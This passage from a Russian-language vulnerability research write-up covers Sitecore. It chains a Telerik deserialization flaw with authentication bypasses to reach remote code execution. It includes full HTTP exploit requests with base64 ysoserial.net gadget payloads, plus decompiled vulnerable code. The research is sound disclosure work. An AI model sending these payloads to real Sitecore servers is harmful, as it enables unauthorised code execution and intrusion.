jbkp2Y2tWdVkyOWthVzVuUFNKN2VEcE9kV3hzZlNJZ1UzUmhibVJoY21SUGRYUndkWFJGYm1OdlpHbHVaejBpZTNnNlRuVnNiSDBpSUZWelpYSk9ZVzFsUFNJaUlGQmhjM04zYjNKa1BTSjdlRHBPZFd4c2ZTSWdSRzl0WVdsdVBTSWlJRXh2WVdSVmMyVnlVSEp2Wm1sc1pUMGlSbUZzYzJVaUlFWnBiR1ZPWVcxbFBTSmpiV1FpSUM4K0RRb2dJQ0FnSUNBOEwzTmtPbEJ5YjJObGMzTXVVM1JoY25SSmJtWnZQZzBLSUNBZ0lEd3ZjMlE2VUhKdlkyVnpjejROQ2lBZ1BDOVBZbXBsWTNSRVlYUmhVSEp2ZG1sa1pYSXVUMkpxWldOMFNXNXpkR0Z1WTJVK0RRbzhMMDlpYW1WamRFUmhkR0ZRY205MmFXUmxjajRMCw==
Затем мы можем собрать и отправить нашу полезную нагрузку. Telerik.Web.UI.RadPivotGrid - это объект, который мы инстанцируем, set_FiltersPersistence - это метод, который мы собираемся вызвать, а "PivotGridReportFilter;x;AAEAAAD/////..." - это параметр, с которым будет вызван set_FiltersPersistence. Строка разделяется на ; символов с помощью PivotGridFilterPersistenceHelper.DeserializePivotFilter.
Первое значение, PivotGridReportFilter, должно попасть в правильный блок if в PivotGridFilterPersistenceHelper.DeserializePivotFilter.
Второе значение, x, не используется.
Последнее значение - это наша полезная нагрузка, которая будет передана в DeserializeObject.
В результате мы получаем следующий окончательный HTTP-запрос.
Код:
POST /sitecore/shell/Invoke.aspx HTTP/2
Host: xp0.sc
Cookie: __CSRFCOOKIE=481fbe0b-15c1-49a0-8d43-c95747b8461b; sitecore_userticket=<omitted>; .AspNet.Cookies=<omitted>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 2055
__OBJECT=Telerik.Web.UI.RadPivotGrid.set_FiltersPersistence("PivotGridReportFilter;x;AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAA/AlBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBM3dVOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0TVRZaVB6NE5DanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnVFdWMGFHOWtUbUZ0WlQwaVUzUmhjblFpSUVselNXNXBkR2xoYkV4dllXUkZibUZpYkdWa1BTSkdZV3h6WlNJZ2VHMXNibk05SW1oMGRIQTZMeTl6WTJobGJXRnpMbTFwWTNKdmMyOW1kQzVqYjIwdmQybHVabmd2TWpBd05pOTRZVzFzTDNCeVpYTmxiblJoZEdsdmJpSWdlRzFzYm5NNmMyUTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtScFlXZHViM04wYVdOek8yRnpjMlZ0WW14NVBWTjVjM1JsYlNJZ2VHMXNibk02ZUQwaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3aVBnMEtJQ0E4VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLSUNBZ0lEeHpaRHBRY205alpYTnpQZzBLSUNBZ0lDQWdQSE5rT2xCeWIyTmxjM011VTNSaGNuUkpibVp2UGcwS0lDQWdJQ0FnSUNBOGMyUTZVSEp2WTJWemMxTjBZWEowU1c1bWJ5QkJjbWQxYldWdWRITTlJaTlqSUhkb2IyRnRhU0FtWjNRN0lGeHBibVYwY0hWaVhIZDNkM0p2YjNSY1dGQXdMbk5qWEhWd2JHOWhaRng0TG5SNGRDSWdVM1JoYm1SaGNtUkZjbkp2Y2tWdVkyOWthVzVuUFNKN2VEcE9kV3hzZlNJZ1UzUmhibVJoY21SUGRYUndkWFJGYm1OdlpHbHVaejBpZTNnNlRuVnNiSDBpSUZWelpYSk9ZVzFsUFNJaUlGQmhjM04zYjNKa1BTSjdlRHBPZFd4c2ZTSWdSRzl0WVdsdVBTSWlJRXh2WVdSVmMyVnlVSEp2Wm1sc1pUMGlSbUZzYzJVaUlFWnBiR1ZPWVcxbFBTSmpiV1FpSUM4K0RRb2dJQ0FnSUNBOEwzTmtPbEJ5YjJObGMzTXVVM1JoY25SSmJtWnZQZzBLSUNBZ0lEd3ZjMlE2VUhKdlkyVnpjejROQ2lBZ1BDOVBZbXBsWTNSRVlYUmhVSEp2ZG1sa1pYSXVUMkpxWldOMFNXNXpkR0Z1WTJVK0RRbzhMMDlpYW1WamRFUmhkR0ZRY205MmFXUmxjajRMCw=="),Telerik.Web.UI.dll&__CSRFTOKEN=AAEAAAD/////AQAAAAAAAAAGAQAAACQ0ODFmYmUwYi0xNWMxLTQ5YTAtOGQ0My1jOTU3NDdiODQ2MWIL
Второй обход авторизации: EXM Boogaloo
К сожалению, из-за дополнительных элементов управления мы не смогли использовать уязвимость страницы Invoke.aspx для получения неаутентифицированного RCE, объединив ее с уязвимостью Server.Execute. Мы проверили, какие средства контроля доступа были применены к /sitecore/shell/Invoke.aspx, и обнаружили, что для доступа к странице требуется следующее. Конфигурация IIS в web.config запрещает доступ анонимным пользователям. Однако это можно обойти с помощью вызова уязвимости Server.Execute.
Код:
<location path="sitecore/shell">
<system.web>
<authorization>
<deny users="?" />
<allow users="*" />
</authorization>
</system.web>
</location>
В Sitecore.Shell.Web.UI.SecurePage выполняется вызов ShellPage.IsLoggedIn, который выдает перенаправление, если нет валидного тикета. Однако поток управления не изменяется, и страница по-прежнему будет выполняться после этого, просто ответ будет отброшен. Код ShellPage.IsLoggedIn показан ниже.
Код:
if (!user.Identity.IsAuthenticated || !TicketManager.IsCurrentTicketValid() || AuthenticationManager.IsAuthenticationTicketExpired())
{
if (user.RuntimeSettings.IsVirtual || ShellPage.Relogin())
{
user = Context.User;
}
else
{
Security.Logout();
ShellPage.GotoLoginPage(httpContext, returnAfterLogin);
}
}
В Sitecore.Web.UI.Sheer.ClientPage проверяется значение This.Context.User.Identity.IsAuthenticated. Если значение равно false, в WebUtil.RedirectToLoginPage возникнет исключение.
Код:
protected override void OnInit(EventArgs e)
{
try
{
if (!this.Context.User.Identity.IsAuthenticated)
{
WebUtil.RedirectToLoginPage();
}
HighResTimer highResTimer = new HighResTimer(true);
base.OnInit(e);
this._pageKey = this.GetPageKey();
this._commands = new ArrayList(5);
this._clientRequest = new ClientRequest(base.Request.Form);
this.CreateControls();
this._initialized = true;
this._sheerTimer += highResTimer.Elapsed();
}
catch (Exception exception)
{
if (!this.OnError(exception))
{
throw;
}
}
}
Учитывая все это, мы решили провести аудит всех мест, где установлен параметр HttpContext.User, поскольку не имело значения, для кого он установлен, лишь бы он был установлен для какого-то пользователя. Мы обнаружили такой случай в компоненте maling list (EXM) в Sitecore. Sitecore можно настроить с помощью Renderer User, чтобы пользователь, подписанный на список рассылки, мог получить доступ к информации без необходимости входа в систему при просмотре письма. При просмотре элементов таким образом пользователь предоставляет некоторые параметры запроса, такие как ec_message_id и ec_id, которые сообщают Sitecore подробную информацию о просматриваемом элементе электронной почты. Однако если злоумышленник предоставит правильные значения для этих двух параметров, то Sitecore.Modules.EmailCampaign.Core.Pipelines.HttpRequestBegin.LoadEmailRenderSessionUser установит пользователя HttpContext на настроенного пользователя Renderer User, как показано ниже.
Код:
public void Process(HttpRequestArgs args)
{
Assert.ArgumentNotNull(args, "args");
if (!GlobalSettings.Enabled)
{
return;
}
if (!ExmContext.IsRenderRequest || ExmContext.Message == null)
{
return;
}
if (string.IsNullOrWhiteSpace(ExmContext.Message.ManagerRoot.Settings.RendererUser))
{
return;
}
args.HttpContext.User = User.FromName(ExmContext.Message.ManagerRoot.Settings.RendererUser, true);
}
При условии, что мы получили действительные параметры ec_message_id и ec_id, возможно, подписавшись на список рассылки и ожидая письма, в котором они есть. Мы можем собрать все это вместе, чтобы добиться неаутентифицированного удаленного выполнения кода с помощью следующего запроса.
Код:
POST /api/sitecore/Sitecore.Mvc.DeviceSimulator.Controllers.SimulatorController,Sitecore.Mvc.DeviceSimulator.dll/Preview?ec_message_id=3811A44A-41B8-4E3D-8213-CC3B9AD4E468&ec_id=470A274A9BAF4D6FA398DE06A188F540&previewPath=/sitecore/shell/Invoke.aspx HTTP/2
Host: xp0.sc
Content-Type: application/x-www-form-urlencoded
Content-Length: 2055
__OBJECT=Telerik.Web.UI.RadPivotGrid.set_FiltersPersistence("PivotGridReportFilter;x;AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAA/AlBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBM3dVOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0TVRZaVB6NE5DanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnVFdWMGFHOWtUbUZ0WlQwaVUzUmhjblFpSUVselNXNXBkR2xoYkV4dllXUkZibUZpYkdWa1BTSkdZV3h6WlNJZ2VHMXNibk05SW1oMGRIQTZMeTl6WTJobGJXRnpMbTFwWTNKdmMyOW1kQzVqYjIwdmQybHVabmd2TWpBd05pOTRZVzFzTDNCeVpYTmxiblJoZEdsdmJpSWdlRzFzYm5NNmMyUTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtScFlXZHViM04wYVdOek8yRnpjMlZ0WW14NVBWTjVjM1JsYlNJZ2VHMXNibk02ZUQwaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3aVBnMEtJQ0E4VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLSUNBZ0lEeHpaRHBRY205alpYTnpQZzBLSUNBZ0lDQWdQSE5rT2xCeWIyTmxjM011VTNSaGNuUkpibVp2UGcwS0lDQWdJQ0FnSUNBOGMyUTZVSEp2WTJWemMxTjBZWEowU1c1bWJ5QkJjbWQxYldWdWRITTlJaTlqSUhkb2IyRnRhU0FtWjNRN0lGeHBibVYwY0hWaVhIZDNkM0p2YjNSY1dGQXdMbk5qWEhWd2JHOWhaRng0TG5SNGRDSWdVM1JoYm1SaGNtUkZjbkp2Y2tWdVkyOWthVzVuUFNKN2VEcE9kV3hzZlNJZ1UzUmhibVJoY21SUGRYUndkWFJGYm1OdlpHbHVaejBpZTNnNlRuVnNiSDBpSUZWelpYSk9ZVzFsUFNJaUlGQmhjM04zYjNKa1BTSjdlRHBPZFd4c2ZTSWdSRzl0WVdsdVBTSWlJRXh2WVdSVmMyVnlVSEp2Wm1sc1pUMGlSbUZzYzJVaUlFWnBiR1ZPWVcxbFBTSmpiV1FpSUM4K0RRb2dJQ0FnSUNBOEwzTmtPbEJ5YjJObGMzTXVVM1JoY25SSmJtWnZQZzBLSUNBZ0lEd3ZjMlE2VUhKdlkyVnpjejROQ2lBZ1BDOVBZbXBsWTNSRVlYUmhVSEp2ZG1sa1pYSXVUMkpxWldOMFNXNXpkR0Z1WTJVK0RRbzhMMDlpYW1WamRFUmhkR0ZRY205MmFXUmxjajRMCw=="),Telerik.Web.UI.dll&__CSRFTOKEN=AAEAAAD/////AQAAAAAAAAAGAQAAACQ5ZTJhZWFkNS1kZjU2LTQ2MjUtYmM2OC1hZGYyZTcwZGEwODgL
Бонусный RCE с аутентификацией
При поиске экземпляров BinaryFormatter.Deserialize мы наткнулись на экземпляр, который действительно приводил к удаленному выполнению кода, но был недоступен без аутентификации.
К сожалению, поскольку он полагался на привязку значений к элементам управления ASP, он не работал через технику Server.Execute. В конвейерном процессоре Sitecore.Pipelines.ConvertToRuntimeHtml.ConvertWebControls было несколько мест, где нефильтрованный ввод обрабатывался и в конечном итоге передавался в вызов Base64ToObject, который затем вызывал BinaryFormatter.Deserialize.
Код уязвимого места приведен ниже с добавленными комментариями.
Код:
private static void Convert(HtmlDocument document)
{
SafeDictionary<string, int> controlIds = new SafeDictionary<string, int>();
HtmlNodeCollection htmlNodeCollection = document.DocumentNode.SelectNodes("//iframe");
if (htmlNodeCollection != null)
{
foreach (HtmlNode htmlNode in ((IEnumerable<HtmlNode>)htmlNodeCollection))
{
string src = htmlNode.GetAttributeValue("src", string.Empty).Replace("&", "&");
ConvertWebControls.Convert(document, htmlNode, src, controlIds);
}
}
// NOTE 1: select divs with the class scInlineControl, e.g. <div class="scInlineControl" id="X">
htmlNodeCollection = document.DocumentNode.SelectNodes("//div[contains(@class, 'scInlineControl')]");
if (htmlNodeCollection == null)
{
return;
}
foreach (HtmlNode htmlNode2 in ((IEnumerable<HtmlNode>)htmlNodeCollection))
{
HtmlNode htmlNode3 = htmlNode2.FirstChild;
while (htmlNode3 != null && htmlNode3.NodeType != HtmlNodeType.Element)
{
htmlNode3 = htmlNode3.NextSibling;
}
if (htmlNode3 != null)
{
string text = htmlNode3.InnerText;
text = HttpUtility.HtmlDecode(text);
// NOTE 2: pass <div class="scInlineControl" id="X"> down to the next method
ConvertWebControls.Convert(document, htmlNode2, text, controlIds);
}
}
}
private static void Convert(HtmlDocument document, HtmlNode node, string src, SafeDictionary<string, int> controlIds)
{
NameValueCollection nameValueCollection = new NameValueCollection();
string text = string.Empty;
string empty = string.Empty;
string text2 = string.Empty;
nameValueCollection.Add("runat", "server");
src = src.Substring(src.IndexOf("?", StringComparison.InvariantCulture) + 1);
string[] list = src.Split(new char[]
{
'&'
});
// NOTE 3: take the "id" attribute of <div class="scInlineControl" id="X">
text = ConvertWebControls.GetParameters(list, nameValueCollection, text, ref empty);
string id = node.Id;
// NOTE 4: select any elements where the "id" attribute equals the above id plus "_inner", e.g. <div id="X_inner">
HtmlNode htmlNode = document.DocumentNode.SelectSingleNode("//*[@id='" + id + "_inner']");
if (htmlNode != null)
{
// NOTE 5: get the "value" attribute from the "_inner" element
text2 = htmlNode.GetAttributeValue("value", string.Empty);
htmlNode.ParentNode.RemoveChild(htmlNode);
}
HtmlNode htmlNode2 = document.CreateElement(empty + ":" + text);
foreach (object obj in nameValueCollection.Keys)
{
string name = (string)obj;
htmlNode2.SetAttributeValue(name, nameValueCollection[name]);
}
if (htmlNode2.Id == "scAssignID")
{
htmlNode2.Id = ConvertWebControls.AssignControlId(empty, text, controlIds);
}
if (text2.Length > 0)
{
// NOTE 6: pass the "value" attribute text from above to Base64ToObject
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
}
node.ParentNode.ReplaceChild(htmlNode2, node);
}
Методы Convert сначала ищут любые элементы с классом scInlineControl, затем ищут соответствующий "внутренний" элемент и передают атрибут value этого элемента в Base64ToObject.
Метод Sitecore.Convert.Base64ToObject декодирует предоставленный аргумент и передает его в BinaryFormatter. Это можно увидеть в приведенном ниже фрагменте
Код:
public static object Base64ToObject(string data)
{
Error.AssertString(data, "data", true);
if (data.Length > 0)
{
try
{
byte[] buffer = Convert.FromBase64String(data);
BinaryFormatter binaryFormatter = new BinaryFormatter();
MemoryStream serializationStream = new MemoryStream(buffer);
return binaryFormatter.Deserialize(serializationStream);
}
catch (Exception exception)
{
Log.Error("Error converting data to base64.", exception, typeof(Convert));
}
}
return null;
}
В Sitecore было несколько мест, где вызывался этот конвейер. Однако проще всего получить доступ через /sitecore/shell/Applications/Content%20Manager/Execute.aspx?cmd=convert&mode=HTML. Мы использовали ту же полезную нагрузку ysoserial.net, что и выше, чтобы создать следующую полезную нагрузку.
Код:
<div class="scInlineControl" id="X">
<div id="X_inner" value="AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAA/AlBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBM3dVOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0TVRZaVB6NE5DanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnVFdWMGFHOWtUbUZ0WlQwaVUzUmhjblFpSUVselNXNXBkR2xoYkV4dllXUkZibUZpYkdWa1BTSkdZV3h6WlNJZ2VHMXNibk05SW1oMGRIQTZMeTl6WTJobGJXRnpMbTFwWTNKdmMyOW1kQzVqYjIwdmQybHVabmd2TWpBd05pOTRZVzFzTDNCeVpYTmxiblJoZEdsdmJpSWdlRzFzYm5NNmMyUTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtScFlXZHViM04wYVdOek8yRnpjMlZ0WW14NVBWTjVjM1JsYlNJZ2VHMXNibk02ZUQwaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3aVBnMEtJQ0E4VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLSUNBZ0lEeHpaRHBRY205alpYTnpQZzBLSUNBZ0lDQWdQSE5rT2xCeWIyTmxjM011VTNSaGNuUkpibVp2UGcwS0lDQWdJQ0FnSUNBOGMyUTZVSEp2WTJWemMxTjBZWEowU1c1bWJ5QkJjbWQxYldWdWRITTlJaTlqSUhkb2IyRnRhU0FtWjNRN0lGeHBibVYwY0hWaVhIZDNkM0p2YjNSY1dGQXdMbk5qWEhWd2JHOWhaRng0TG5SNGRDSWdVM1JoYm1SaGNtUkZjbkp2Y2tWdVkyOWthVzVuUFNKN2VEcE9kV3hzZlNJZ1UzUmhibVJoY21SUGRYUndkWFJGYm1OdlpHbHVaejBpZTNnNlRuVnNiSDBpSUZWelpYSk9ZVzFsUFNJaUlGQmhjM04zYjNKa1BTSjdlRHBPZFd4c2ZTSWdSRzl0WVdsdVBTSWlJRXh2WVdSVmMyVnlVSEp2Wm1sc1pUMGlSbUZzYzJVaUlFWnBiR1ZPWVcxbFBTSmpiV1FpSUM4K0RRb2dJQ0FnSUNBOEwzTmtPbEJ5YjJObGMzTXVVM1JoY25SSmJtWnZQZzBLSUNBZ0lEd3ZjMlE2VUhKdlkyVnpjejROQ2lBZ1BDOVBZbXBsWTNSRVlYUmhVSEp2ZG1sa1pYSXVUMkpxWldOMFNXNXpkR0Z1WTJVK0RRbzhMMDlpYW1WamRFUmhkR0ZRY205MmFXUmxjajRMCw==">X</div>
</div>
А затем отправили ему следующий запрос, чтобы получить удаленное выполнение кода.
Код:
POST /sitecore/shell/Applications/Content%20Manager/Execute.aspx?cmd=convert&mode=HTML HTTP/2
Host: xp0.sc
Content-Length: 2011
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: sitecore_userticket=<omitted>; .AspNet.Cookies=<omitted>
html=%3cdiv%20class%3d%22scInlineControl%22%20id%3d%22X%22%3e%0a%3cdiv%20id%3d%22X_inner%22%20value%3d%22AAEAAAD%2f%2f%2f%2f%2fAQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAA%2fAlBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBM3dVOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0TVRZaVB6NE5DanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnVFdWMGFHOWtUbUZ0WlQwaVUzUmhjblFpSUVselNXNXBkR2xoYkV4dllXUkZibUZpYkdWa1BTSkdZV3h6WlNJZ2VHMXNibk05SW1oMGRIQTZMeTl6WTJobGJXRnpMbTFwWTNKdmMyOW1kQzVqYjIwdmQybHVabmd2TWpBd05pOTRZVzFzTDNCeVpYTmxiblJoZEdsdmJpSWdlRzFzYm5NNmMyUTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtScFlXZHViM04wYVdOek8yRnpjMlZ0WW14NVBWTjVjM1JsYlNJZ2VHMXNibk02ZUQwaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3aVBnMEtJQ0E4VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLSUNBZ0lEeHpaRHBRY205alpYTnpQZzBLSUNBZ0lDQWdQSE5rT2xCeWIyTmxjM011VTNSaGNuUkpibVp2UGcwS0lDQWdJQ0FnSUNBOGMyUTZVSEp2WTJWemMxTjBZWEowU1c1bWJ5QkJjbWQxYldWdWRITTlJaTlqSUhkb2IyRnRhU0FtWjNRN0lGeHBibVYwY0hWaVhIZDNkM0p2YjNSY1dGQXdMbk5qWEhWd2JHOWhaRng0TG5SNGRDSWdVM1JoYm1SaGNtUkZjbkp2Y2tWdVkyOWthVzVuUFNKN2VEcE9kV3hzZlNJZ1UzUmhibVJoY21SUGRYUndkWFJGYm1OdlpHbHVaejBpZTNnNlRuVnNiSDBpSUZWelpYSk9ZVzFsUFNJaUlGQmhjM04zYjNKa1BTSjdlRHBPZFd4c2ZTSWdSRzl0WVdsdVBTSWlJRXh2WVdSVmMyVnlVSEp2Wm1sc1pUMGlSbUZzYzJVaUlFWnBiR1ZPWVcxbFBTSmpiV1FpSUM4K0RRb2dJQ0FnSUNBOEwzTmtPbEJ5YjJObGMzTXVVM1JoY25SSmJtWnZQZzBLSUNBZ0lEd3ZjMlE2VUhKdlkyVnpjejROQ2lBZ1BDOVBZbXBsWTNSRVlYUmhVSEp2ZG1sa1pYSXVUMkpxWldOMFNXNXpkR0Z1WTJVK0RRbzhMMDlpYW1WamRFUmhkR0ZRY205MmFXUmxjajRMCw%3d%3d%22%3eX%3c%2fdiv%3e%0a%3c%2fdiv%3e
Выводы
Мы видим, что даже если мы уже рассматривали Sitecore ранее, все равно есть смысл посмотреть еще раз. Когда речь идет о программном обеспечении для крупных предприятий с большой поверхностью атаки, стоит воспользоваться второй парой глаз, чтобы посмотреть, не обнаружится ли что-нибудь новое. В данном случае мы обнаружили два новых вектора удаленного выполнения кода, новый способ использования старого вектора и два обхода аутентификации. Хотя это не новая техника, в ходе нашего расследования мы также узнали о функциях Server.Transfer и Server.Execute. То, что мы ранее не искали при оценке кодовых баз .NET, но будем делать это в будущем. Наконец, мы считаем, что это исследование также послужило хорошей демонстрацией ценности отладки и наблюдения за целью в дополнение к статическому анализу. Когда предоставляется особенно сложная кодовая база, нельзя недооценивать преимущества подключения отладчика и простого просмотра стека вызовов запроса. Особенно в таких языках, как .NET и Java, где так много отладочной информации доступно во время выполнения.